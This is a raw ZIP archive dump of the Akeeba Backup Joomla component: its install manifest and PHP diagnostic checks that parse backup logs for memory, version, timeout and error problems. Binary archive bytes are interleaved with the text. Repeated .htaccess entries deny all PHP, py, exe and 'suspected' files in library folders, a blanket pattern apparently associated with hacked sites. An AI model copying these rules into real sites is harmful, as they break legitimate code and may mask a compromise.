Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      1  vendor/greenlion/php-sql-parser/.github/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \]Y'   '   *  vendor/greenlion/php-sql-parser/runtest.shnu [        clear
./vendor/phpunit/phpunit/phpunit
PK     \Sʉ      )  vendor/greenlion/php-sql-parser/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        vendor/greenlion/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        vendor/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \r      akeebabackup.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension type="component" method="upgrade">
    <name>com_akeebabackup</name>
    <author>Akeeba Ltd</author>
    <creationDate>2026-06-22</creationDate>
    <copyright>Copyright (c)2006-2025 Akeeba Ltd / Nicholas K. Dionysopoulos</copyright>
    <license>GNU General Public License version 3 or later; see LICENSE.txt</license>
    <authorEmail>no-reply@akeeba.com</authorEmail>
    <authorUrl>www.akeeba.com</authorUrl>
    <version>10.3.6</version>
    <description>COM_AKEEBABACKUP_XML_DESCRIPTION</description>
    <namespace path="src">Akeeba\Component\AkeebaBackup</namespace>

    <files folder="frontend">
        <folder>language</folder>
        <folder>src</folder>
        <folder>tmpl</folder>
    </files>

    <languages folder="frontend">
        <language tag="en-GB">language/en-GB/com_akeebabackup.ini</language>
        <language tag="el-GR">language/el-GR/com_akeebabackup.ini</language>
        <language tag="fr-FR">language/fr-FR/com_akeebabackup.ini</language>
        <language tag="de-DE">language/de-DE/com_akeebabackup.ini</language>
        <language tag="es-ES">language/es-ES/com_akeebabackup.ini</language>
        <language tag="pt-PT">language/pt-PT/com_akeebabackup.ini</language>
        <language tag="it-IT">language/it-IT/com_akeebabackup.ini</language>
    </languages>

    <media destination="com_akeebabackup" folder="media">
        <folder>css</folder>
        <folder>fonts</folder>
        <folder>icons</folder>
        <folder>js</folder>

        <filename>joomla.asset.json</filename>
    </media>

    <administration>
        <menu>COM_AKEEBABACKUP</menu>

        <submenu>
            <!--
				Note that all & must be escaped to &amp; for the file to be valid
				XML and be parsed by the installer
			-->
            <menu view="Controlpanel">
                COM_AKEEBABACKUP_CONTROLPANEL
            </menu>

            <menu view="Configuration">
                COM_AKEEBABACKUP_CONFIGURATION
            </menu>

            <menu view="Backup">
                COM_AKEEBABACKUP_BACKUP
            </menu>

            <menu view="Manage">
                COM_AKEEBABACKUP_MANAGE
            </menu>
        </submenu>

        <files folder="backend">
            <filename>access.xml</filename>
            <filename>CHANGELOG.php</filename>
            <filename>config.xml</filename>
            <filename>restore.php</filename>
            <filename>version.php</filename>

            <folder>AliceChecks</folder>
            <folder>backup</folder>
            <folder>forms</folder>
            <folder>installers</folder>
            <folder>language</folder>
            <folder>platform</folder>
            <folder>services</folder>
            <folder>sql</folder>
            <folder>src</folder>
            <folder>tmpl</folder>
            <folder>vendor</folder>
        </files>

        <languages folder="backend">
            <language tag="en-GB">language/en-GB/com_akeebabackup.ini</language>
            <language tag="en-GB">language/en-GB/com_akeebabackup.sys.ini</language>
            <language tag="el-GR">language/el-GR/com_akeebabackup.ini</language>
            <language tag="el-GR">language/el-GR/com_akeebabackup.sys.ini</language>
            <language tag="fr-FR">language/fr-FR/com_akeebabackup.ini</language>
            <language tag="fr-FR">language/fr-FR/com_akeebabackup.sys.ini</language>
            <language tag="de-DE">language/de-DE/com_akeebabackup.ini</language>
            <language tag="de-DE">language/de-DE/com_akeebabackup.sys.ini</language>
            <language tag="es-ES">language/es-ES/com_akeebabackup.ini</language>
            <language tag="es-ES">language/es-ES/com_akeebabackup.sys.ini</language>
            <language tag="pt-PT">language/pt-PT/com_akeebabackup.ini</language>
            <language tag="pt-PT">language/pt-PT/com_akeebabackup.sys.ini</language>
            <language tag="it-IT">language/it-IT/com_akeebabackup.ini</language>
            <language tag="it-IT">language/it-IT/com_akeebabackup.sys.ini</language>
        </languages>
    </administration>

    <api>
        <files folder="api">
            <folder>src</folder>
        </files>
    </api>

    <install>
        <sql>
            <file driver="mysql" charset="utf8">sql/install.mysql.utf8.sql</file>
            <file driver="postgresql" charset="utf8">sql/install.postgresql.utf8.sql</file>
        </sql>
    </install>

    <uninstall>
        <sql>
            <file driver="mysql" charset="utf8">sql/uninstall.mysql.utf8.sql</file>
            <file driver="postgresql" charset="utf8">sql/uninstall.postgresql.utf8.sql</file>
        </sql>
    </uninstall>

    <update>
        <schemas>
            <schemapath type="mysql">sql/updates/mysql</schemapath>
            <schemapath type="postgresql">sql/updates/postgresql</schemapath>
        </schemas>
    </update>
</extension>
PK     \u6  6  )  AliceChecks/Check/Requirements/Memory.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Requirements;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if we have enough memory to perform backup; at least 16Mb
 */
class Memory extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 30;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$limit = null;
		$usage = false;

		$this->scanLines(function ($line) use (&$limit, &$usage) {
			if (is_null($limit))
			{
				$pos = strpos($line, '|Memory limit');

				if ($pos !== false)
				{
					$limit = trim(substr($line, strpos($line, ':', $pos) + 1));
					$limit = str_ireplace('M', '', $limit);

					// Convert to integer for better handling and checks
					$limit = (int) $limit;
				}
			}

			if (!$usage)
			{
				$pos = strpos($line, '|Current mem. usage');

				if ($pos !== false)
				{
					$usage = trim(substr($line, strpos($line, ':', $pos) + 1));
					// Converting to Mb for better handling
					$usage = round($usage / 1024 / 1024, 2);
				}
			}

			throw new StopScanningEarly();
		});

		if (empty($limit) || empty($usage))
		{
			// Inconclusive check. Cannot get the memory information.
			return;
		}

		$available = $limit - $usage;

		if ($limit < 0)
		{
			// Stupid host uses a negative memory limit. This is the same as setting no memory limit. Bleh.
			return;
		}

		if ($available >= 16)
		{
			// We have enough memory.
			return;
		}

		$this->setResult(-1);
		$this->setErrorLanguageKey(['COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW', $available]);
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION');
	}
}
PK     \Î؜    2  AliceChecks/Check/Requirements/DatabaseVersion.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Requirements;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks for supported DB type and version
 */
class DatabaseVersion extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 20;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		// Instead of reading the log, I can simply take the JDatabase object and test it
		$db        = $this->dbo;
		$connector = strtolower($db->name);
		$version   = $db->getVersion();

		switch ($connector)
		{
			case 'mysql':
			case 'mysqli':
			case 'pdomysql':
				if (version_compare($version, '5.0.47', 'lt'))
				{
					$this->setResult(-1);
					$this->setErrorLanguageKey([
						'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD', $version,
					]);
				}
				break;

			case 'pdo':
			case 'sqlite':
				$this->setResult(-1);
				$this->setErrorLanguageKey([
					'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED', $connector,
				]);
				break;

			default:
				$this->setResult(-1);
				$this->setErrorLanguageKey(['COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN', $connector]);
				break;
		}
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION');
	}
}
PK     \}(@  @  6  AliceChecks/Check/Requirements/DatabasePermissions.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Requirements;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Engine\Factory;
use Exception;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks for database permissions (SHOW permissions)
 */
class DatabasePermissions extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 40;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$db = Factory::getDatabase();

		// Can I execute SHOW statements?
		try
		{
			$result = $db->setQuery('SHOW TABLES')->query();
		}
		catch (Exception $e)
		{
			$result = false;
		}

		if (!$result)
		{
			$this->setResult(-1);
			$this->setErrorLanguageKey([
				'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR',
			]);

			return;
		}

		try
		{
			$result = $db->setQuery('SHOW CREATE TABLE ' . $db->nameQuote('#__akeebabackup_profiles'))->query();
		}
		catch (Exception $e)
		{
			$result = false;
		}

		if (!$result)
		{
			$this->setResult(-1);
			$this->setErrorLanguageKey([
				'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR',
			]);

			return;
		}
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION');
	}
}
PK     \xi  i  -  AliceChecks/Check/Requirements/PHPVersion.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Requirements;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is using a too old or too new PHP version
 */
class PHPVersion extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 10;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$this->scanLines(function ($line) {
			$pos = strpos($line, '|PHP Version');

			if ($pos === false)
			{
				return;
			}

			$version = trim(substr($line, strpos($line, ':', $pos) + 1));

			// PHP too old (well, this should never happen)
			if (version_compare($version, '5.6', 'lt'))
			{
				$this->setResult(-1);
				$this->setErrorLanguageKey([
					'COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD',
				]);
			}

			throw new StopScanningEarly();
		});
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION');
	}
}
PK     \Sʉ      (  AliceChecks/Check/Requirements/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \9H    7  AliceChecks/Check/Runtimeerrors/WindowsCannotAppend.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if Akeeba Backup failed to write data inside the archive (WIN hosts only)
 */
class WindowsCannotAppend extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 30;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		// Customer is not on windows, this problem happened on Windows only
		if (!$this->isWin())
		{
			return;
		}

		$this->scanLines(function ($data) {
			if (preg_match('#Could not open archive file.*? for append#i', $data))
			{
				$this->setResult(-1);
				$this->setErrorLanguageKey([
					'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR',
				]);

				throw new StopScanningEarly();
			}
		});
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION');
	}

	private function isWin()
	{
		$OS = '';

		$this->scanLines(function ($line) use (&$OS) {
			$pos = stripos($line, '|OS Version');

			if ($pos !== false)
			{
				$OS = trim(substr($line, strpos($line, ':', $pos) + 1));

				throw new StopScanningEarly();
			}
		});

		if (stripos($OS, 'windows') !== false)
		{
			return true;
		}

		return false;
	}
}
PK     \&,)  )  <  AliceChecks/Check/Runtimeerrors/AddedCoreDatabaseAsExtra.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Check if the user added the site database as additional database. Some servers won't allow more than one connection
 * to the same database, causing the backup process to fail
 */
class AddedCoreDatabaseAsExtra extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 100;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$profile = 0;

		$this->scanLines(function ($line) use (&$profile) {
			$pos = strpos($line, '|Loaded profile');

			if ($pos === false)
			{
				return;
			}

			preg_match('/profile\s+#(\d+)/', $line, $matches);

			if (isset($matches[1]))
			{
				$profile = (int) $matches[1];
			}

			throw new StopScanningEarly();

		});

		// Mhm... no profile ID? Something weird happened better stop here and mark the test as skipped
		if ($profile <= 0)
		{
			return;
		}

		// Do I have to switch profile?
		$cur_profile = $this->session->get('akeebabackup.profile', null);

		if ($cur_profile != $profile)
		{
			$this->session->set('akeebabackup.profile', $profile);
		}

		$error   = false;
		$filters = Factory::getFilters();
		$multidb = $filters->getFilterData('multidb');

		$jdb = [
			'driver'   => $this->app->get('dbtype'),
			'host'     => $this->app->get('host'),
			'username' => $this->app->get('user'),
			'password' => $this->app->get('password'),
			'database' => $this->app->get('db'),
		];

		foreach ($multidb as $addDb)
		{
			$options = [
				'driver'   => $addDb['driver'],
				'host'     => $addDb['host'],
				'username' => $addDb['username'],
				'password' => $addDb['password'],
				'database' => $addDb['database'],
			];

			// It's the same database used by Joomla, this could led to errors
			if ($jdb == $options)
			{
				$error = true;
			}
		}

		// If needed set the old profile again
		if ($cur_profile != $profile)
		{
			$this->session->set('akeebabackup.profile', $cur_profile);
		}

		if (!$error)
		{
			return;
		}

		$this->setResult(-1);
		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR',
		]);
	}

	public function getSolution()
	{
		// Test skipped? No need to provide a solution
		if ($this->getResult() === 0)
		{
			return '';
		}

		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION');
	}
}
PK     \.	  	  -  AliceChecks/Check/Runtimeerrors/Kettenrad.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks that the Kettenrad instance is not dead; the number of "Starting step" and "Saving Kettenrad" instance
 * must be the same, plus none of the steps could be repeated (except the first one).
 */
class Kettenrad extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 10;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$starting = [];
		$saving   = [];

		$this->scanLines(function ($data) use (&$starting, &$saving) {
			preg_match_all('#Starting Step number (\d+)#i', $data, $tmp_matches);

			if (isset($tmp_matches[1]))
			{
				$starting = array_merge($starting, $tmp_matches[1]);
			}

			preg_match_all('#Finished Step number (\d+)#i', $data, $tmp_matches);

			if (isset($tmp_matches[1]))
			{
				$saving = array_merge($saving, $tmp_matches[1]);
			}
		});

		/**
		 * Check that none of "Starting step" number is repeated, EXCEPT for the first one (it's ok).
		 * That could happen when some poorly configured server processes the same request twice
		 */
		foreach ($starting as $stepNumber)
		{
			if ($stepNumber == 1)
			{
				continue;
			}

			/**
			 * Did a step run more than once?
			 *
			 * It is OK if it started multiple times but was only logged as finished once. This means it failed and the
			 * user took advantage of our retry-on-error feature for backend backups.
			 *
			 * However, if we see that it was logged as *finished* multiple times then it means that the same step ran
			 * multiple times in parallel. This is where the real problem is.
			 */
			if (count(array_keys($starting, $stepNumber)) > 1)
			{
				if (count(array_keys($saving, $stepNumber)) > 1)
				{
					$this->setResult(-1);
					$this->setErrorLanguageKey([
						'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE', $stepNumber,
					]);

					return;
				}
			}
		}
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION');
	}
}
PK     \u    .  AliceChecks/Check/Runtimeerrors/FatalError.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if a fatal error occurred during the backup process
 */
class FatalError extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 110;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$this->scanLines(function ($data) {
			preg_match('#ERROR   \|.*?\|(.*)#', $data, $tmp_matches);

			if (!isset($tmp_matches[1]))
			{
				return;
			}

			$error = $tmp_matches[1];

			if (empty($error))
			{
				return;
			}

			$this->setResult(-1);
			$this->setErrorLanguageKey(['COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR', $error]);

			throw new StopScanningEarly();
		});
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION');
	}
}
PK     \a p    7  AliceChecks/Check/Runtimeerrors/CorruptInstallation.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is using a too old or too new PHP version
 */
class CorruptInstallation extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 60;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$error              = false;
		$foundLoadedProfile = false;

		$this->scanLines(function ($line) use (&$foundLoadedProfile) {
			// First we need to find the "Loaded profile" line
			if (!$foundLoadedProfile)
			{
				$pos = strpos($line, '|Loaded profile');

				if ($pos !== false)
				{
					// Mark the line as found. We are interested in the line AFTER this one.
					$foundLoadedProfile = true;
				}

				// Since at this point we are not past the "Loaded profile" we need to keep parsing the log file.
				return;
			}

			// Ok, we are just past the "Loaded profile" line. Let's see if it's a broken install.
			$logline = trim(substr($line, 24));

			// If it's not an empty line then it is definitely not a broken install
			if ($logline != '|')
			{
				throw new StopScanningEarly();
			}

			// Empty line?? Most likely it's a broken install
			$this->setResult(-1);
			$this->setErrorLanguageKey([
				'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR',
			]);

			throw new StopScanningEarly();
		});
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION');
	}
}
PK     \3r,\  \  +  AliceChecks/Check/Runtimeerrors/Timeout.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Exception;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks that every page load is not hitting the timeout limit.
 * Time diff is performed against the "Start step" and "Saving Kettenrad" timestamps.
 *
 * TODO This needs to be rewritten. It makes no sense. A backup CAN NOT POSSIBLY take longer than PHP's time limit!
 */
class Timeout extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 20;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$starting = [];
		$saving   = [];
		$isCli    = false;

		$this->scanLines(function ($data) use (&$starting, &$saving, &$isCli) {
			if (preg_match('/PHP SAPI\s{1,}:\s*cli/', $data) == 1)
			{
				// This is CLI backup.
				$isCli = true;
			}

			preg_match_all('#(\d{6}\s\d{2}:\d{2}:\d{2})\|.*?Starting Step number#i', $data, $tmp_matches);

			if (isset($tmp_matches[1]))
			{
				$starting = array_merge($starting, $tmp_matches[1]);
			}

			preg_match_all('#(\d{6}\s\d{2}:\d{2}:\d{2})\|.*?Finished Step number#i', $data, $tmp_matches);

			if (isset($tmp_matches[1]))
			{
				$saving = array_merge($saving, $tmp_matches[1]);
			}
		});

		// If there is an issue with starting and saving instances, I can't go on, first of all fix that
		if (count($saving) != count($starting))
		{
			$this->setResult(-1);
			$this->setErrorLanguageKey([
				'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN',
			]);

			return;
		}

		$temp = [];

		// Let's expand the date part so I can safely work with that strings
		foreach ($starting as $item)
		{
			$temp[] = '20' . substr($item, 0, 2) . '-' . substr($item, 2, 2) . '-' . substr($item, 4, 2) . substr($item, 6);
		}

		$starting = $temp;
		$temp     = [];

		// Let's expand the date part so I can safely work with that strings
		foreach ($saving as $item)
		{
			$temp[] = '20' . substr($item, 0, 2) . '-' . substr($item, 2, 2) . '-' . substr($item, 4, 2) . substr($item, 6);
		}

		$saving       = $temp;
		$maxExecution = $this->detectMaxExec($isCli);

		/**
		 * If I detected a CLI backup without a max execution time limit (THIS IS THE ONLY WAY, PER PHP'S DOCUMENTATION)
		 * I immediately quit since we can't possibly time out.
		 */
		if ($maxExecution == -1)
		{
			return;
		}

		// Ok, did I have any timeout between the start and saving step (ie page loads)?
		for ($i = 0; $i < count($starting); $i++)
		{
			$duration = strtotime($saving[$i]) - strtotime($starting[$i]);

			if ($duration > $maxExecution)
			{
				$this->setResult(-1);
				$this->setErrorLanguageKey([
					'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION', $duration,
				]);

				return;
			}
		}
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION');
	}

	/**
	 * Detects max execution time, reading backup log. If the maximum execution time is set to 0 or it's bigger
	 * than 100, it gets the default value of 100.
	 *
	 * @return int
	 * @throws Exception
	 */
	private function detectMaxExec($isCli = false)
	{
		$time = 0;

		$this->scanLines(function ($line) use (&$time) {
			$pos = stripos($line, '|Max. exec. time');

			if ($pos === false)
			{
				return;
			}

			$time = (int) trim(substr($line, strpos($line, ':', $pos) + 1));
		});

		/**
		 * CLI backups.
		 * Negative, zero or no detected time: we return -1 (no limit).
		 */
		$time = ($time <= 0) ? -1 : $time;

		/**
		 * Over a web server backups.
		 * Negative, zero or no detected time: we consider it to be 100 seconds.
		 * Values over 100 seconds: we cap the to 100 seconds.
		 *
		 * The time limit cap has to do with Apache's internal timeout.
		 */
		$time = ($time <= 0) ? 100 : min($time, 100);

		return $time;
	}
}
PK     \     6  AliceChecks/Check/Runtimeerrors/ErrorLogsInArchive.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if error logs are included inside the backup. Since their size grows while we're trying to backup them,
 * this could led to corrupted archives.
 */
class ErrorLogsInArchive extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 80;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$error_files = [];

		$this->scanLines(function ($data) use (&$error_files) {
			preg_match_all('#Adding(.*?(/php_error_cpanel\.|php_error_cpanel\.|/error_)log)#', $data, $tmp_matches);

			if (isset($tmp_matches[1]))
			{
				$error_files = array_merge($error_files, $tmp_matches[1]);
			}
		});

		if (empty($error_files))
		{
			return;
		}

		$this->setResult(-1);
		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND', implode("\n", $error_files),
		]);
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION');
	}
}
PK     \|    ,  AliceChecks/Check/Runtimeerrors/PartSize.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

